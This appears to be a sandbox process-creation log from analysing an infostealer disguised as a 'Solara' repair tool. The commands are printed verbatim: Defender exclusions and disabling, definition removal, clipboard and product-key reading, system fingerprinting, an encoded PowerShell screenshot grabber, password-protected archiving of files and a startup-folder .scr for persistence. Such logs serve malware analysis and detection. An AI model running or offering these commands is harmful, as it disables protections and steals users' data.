Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\cmd.exe'
Source: C:\Users\user\Desktop\cmd.exe Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
Source: C:\Users\user\Desktop\cmd.exe Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\tasklist.exe tasklist /FO LIST
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\tasklist.exe tasklist /FO LIST
Source: C:\Users\user\Desktop\cmd.exe Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard"
Source: C:\Users\user\Desktop\cmd.exe Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"
Source: C:\Users\user\Desktop\cmd.exe Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
Source: C:\Users\user\Desktop\cmd.exe Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tree /A /F"
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Users\user\Desktop\cmd.exe Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "systeminfo"
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\tasklist.exe tasklist /FO LIST
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\wbem\WMIC.exe WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\tree.com tree /A /F
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Get-Clipboard
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\systeminfo.exe systeminfo
Source: C:\Users\user\Desktop\cmd.exe Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tree /A /F"
Source: C:\Users\user\Desktop\cmd.exe Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIA
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\tree.com tree /A /F
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIAB
Source: C:\Users\user\Desktop\cmd.exe Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tree /A /F"
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\tree.com tree /A /F
Source: C:\Users\user\Desktop\cmd.exe Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "getmac"
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\bcdu5fii\bcdu5fii.cmdline"
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\getmac.exe getmac
Source: C:\Users\user\Desktop\cmd.exe Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tree /A /F"
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\tree.com tree /A /F
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES74CA.tmp" "c:\Users\user\AppData\Local\Temp\bcdu5fii\CSC91B7380AF2C2414A909984B12C6688DE.TMP"
Source: C:\Users\user\Desktop\cmd.exe Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tree /A /F"
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\tree.com tree /A /F
Source: C:\Users\user\Desktop\cmd.exe Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tree /A /F"
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\tree.com tree /A /F
Source: C:\Users\user\Desktop\cmd.exe Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "C:\Users\user\AppData\Local\Temp\_MEI72642\rar.exe a -r -hp"blank" "C:\Users\user\AppData\Local\Temp\DBdXv.zip" *"
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe Process created: C:\Users\user\AppData\Local\Temp\_MEI72642\rar.exe C:\Users\user\AppData\Local\Temp\_MEI72642\rar.exe a -r -hp"blank" "C:\Users\user\AppData\Local\Temp\DBdXv.zip" *
Source: C:\Users\user\Desktop\cmd.exe Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "wmic os get Caption"
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\wbem\WMIC.exe wmic os get Caption
Source: C:\Windows\System32\cmd.exe Process created: C:\Program Files\Windows Defender\MpCmdRun.exe "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
Source: C:\Users\user\Desktop\cmd.exe Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "wmic computersystem get totalphysicalmemory"
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\wbem\WMIC.exe wmic computersystem get totalphysicalmemory
Source: C:\Users\user\Desktop\cmd.exe Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\wbem\WMIC.exe wmic csproduct get uuid
Source: C:\Users\user\Desktop\cmd.exe Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER"
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
Source: C:\Users\user\Desktop\cmd.exe Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\wbem\WMIC.exe wmic path win32_VideoController get name
Source: C:\Users\user\Desktop\cmd.exe Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault"
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault
Source: C:\Users\user\Desktop\cmd.exe Process created: C:\Users\user\Desktop\cmd.exe "C:\Users\user\Desktop\cmd.exe" Jump to behavior
Source: C:\Users\user\Desktop\cmd.exe Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\cmd.exe'"
Source: C:\Users\user\Desktop\cmd.exe Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
Source: C:\Users\user\Desktop\cmd.exe Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('Solara has been repaired.', 0, 'Solara | Repaired', 48+16);close()""
Source: C:\Users\user\Desktop\cmd.exe Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\? ?.scr'"
Source: C:\Users\user\Desktop\cmd.exe Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
Source: C:\Users\user\Desktop\cmd.exe Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
Source: C:\Users\user\Desktop\cmd.exe Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard"
Source: C:\Users\user\Desktop\cmd.exe Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"
Source: C:\Users\user\Desktop\cmd.exe Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
Source: C:\Users\user\Desktop\cmd.exe Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tree /A /F"
Source: C:\Users\user\Desktop\cmd.exe Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "systeminfo"
Source: C:\Users\user\Desktop\cmd.exe Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tree /A /F"
Source: C:\Users\user\Desktop\cmd.exe Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIA
Source: C:\Users\user\Desktop\cmd.exe Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tree /A /F"
Source: C:\Users\user\Desktop\cmd.exe Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "getmac"
Source: C:\Users\user\Desktop\cmd.exe Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tree /A /F"
Source: C:\Users\user\Desktop\cmd.exe Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tree /A /F"
Source: C:\Users\user\Desktop\cmd.exe Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tree /A /F"
